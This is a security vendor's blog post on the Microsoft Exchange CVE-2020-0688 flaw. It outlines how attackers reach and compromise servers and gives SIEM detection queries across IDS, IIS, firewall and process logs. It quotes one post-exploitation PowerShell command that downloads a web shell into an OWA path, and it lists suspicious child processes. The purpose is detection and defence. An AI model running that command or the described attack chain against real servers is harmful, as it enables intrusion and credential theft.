By Bhabesh Raj Rai, Associate Security Analytics Engineer, LogPoint

On February 11, 2020, Microsoft released a security advisory for a severe remote code execution vulnerability (CVE-2020-0688), with a CVSS score of 8.8. The vulnerability in Microsoft Exchange Server was due to the server failing to generate a unique cryptographic key at install time. A patch for the vulnerability has been available since February 18. All Exchange Server versions that have not been patched since February are exposed to potential attacks.

Two weeks after the release of Microsoft’s security advisory, ZDI released a blog detailing the vulnerability. Shortly after the release, mass scanning activity had begun as reported by Bad Packets and Binary Edge. Cybersecurity firm Volexity observed multiple APT groups exploiting or attempting to exploit on-premise Exchange Servers.

To exploit this flaw, adversaries need to scan for vulnerable servers exposed to the internet, harvest email credentials, and get relevant dumps from previous data breaches. A credential stuffing attack follows until they get a hit and can log in to the server. Once successful, all that’s left is to exploit the vulnerability and fully compromise the targeted Exchange Server.

Microsoft provides an easy way to identify Exchange Server build numbers via the page source of login pages of OWA and ECP, enabling attackers to identify which Exchange Servers are potentially vulnerable. Several open-source tools take an input of a company’s page on LinkedIn, dump all the employee names, and initiate credential stuffing on the company’s Outlook Web App.

The vulnerability rains credentials as attackers land as SYSTEM and then can use Mimikatz to dump all users’ passwords since Exchange Server stores user credentials in memory in plain text with no hashing.

The Metasploit module was available in early March for exploiting the vulnerability.

LogPoint detection

In March, Talos had released snort rules to detect the exploitation attempt of CVE-2020-0688.

(norm_id=Snort OR norm_id=SuricataIDS) message IN ["*Microsoft Exchange Control Panel remote code execution attempt*", "*Microsoft Exchange Control Panel static viewstate key use attempt*"]

The exploit attempt will leave an artifact in the Windows Application event log with Event ID 4 from the MSExchange Control Panel. You should check for a long message in the error log.

norm_id=WinServer channel=Application event_source="MSExchange Control Panel" event_id=4 log_level=Error

The exploitation can be easily detected via IIS logs. The attack starts with a POST to the /owa/auth.owa, followed by multiple GET requests to one of the targeted URLs, with one of them containing the __VIEWSTATE variable. This is highly suspicious as the __VIEWSTATE parameter should never be sent in a GET request.

[norm_id=MsIIS request_method=POST user=* resource=""] as s1 followed by [norm_id=MsIIS request_method=GET resource="/ecp*"] as s2 on s1.user=s2.user

The serialized payload is placed in the VIEWSTATE parameter and delivered to the /ecp/default.aspx page. The exploitation is successful even though the server returns 500 error code.

norm_id=MsIIS request_method=GET status_code=500 resource="" query="*__VIEWSTATEGENERATOR*VIEWSTATE=*"

Administrators can also check suspicious GET requests to OWA with a large query that may indicate malicious activity.

norm_id=MsIIS request_method=GET
| process count_char(query) as query_length
| search query_length>500

Similarly, Firewall or Proxy Server logs can be used for its detection.

(device_category=Firewall OR device_category=ProxyServer) (url="*/ecp/default.aspx*__VIEWSTATEGENERATOR*VIEWSTATE=*" OR resource="*__VIEWSTATEGENERATOR*VIEWSTATE=*")

After successful exploitation, the IIS worker process w3wp.exe will spawn a suspicious process that can be checked in the Windows Event Logs.

For example, attackers pinging a specified address to validate whether the exploitation was successful.

norm_id=WinServer label="Process" label=Create parent_process="*\w3wp.exe" "process" IN ["*\powershell.exe", "*\cmd.exe", "*\net.exe", "*\net1.exe", "*\rundll32.exe", "*\ping.exe"]

Post exploitation, attackers drop web shells on paths that are accessible over the internet with payloads such as:

cmd.exe /c powershell (New-Object System.Net.WebClient).DownloadFile('','C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\EasyAccess.aspx')

Listed below are some paths for inspecting the creation of a suspicious file to look for the drop of web shells:

  • %ProgramFiles%\Microsoft\Exchange Server\<\version>\ClientAccess\Owa\Auth
  • %ProgramFiles%\Microsoft\Exchange Server\<\version>\FrontEnd\HttpProxy\owa\auth
  • \Inetpub\wwwroot\

What you should do

Exchange is a critical service and may be off-limits for a regular monthly patching schedule depending on the organization. If patching is not possible, we recommend you to block the access to ECP. Though Microsoft rates the vulnerability as “Important,” it may be treated as “Critical” inside an organization if Exchange is directly exposed to the internet.

Furthermore, we recommend system administrators to patch their Exchange Servers, as there are reports of its exploitation by APT and non-APT groups alike.

Finally, adversaries can gain complete access to your organization if they gain a user’s weak or leaked password. When combined with OWA’s external-facing nature and the ECP, by default in Exchange, CVE-2020-0688 will likely be one of the most devastating vulnerabilities of 2020.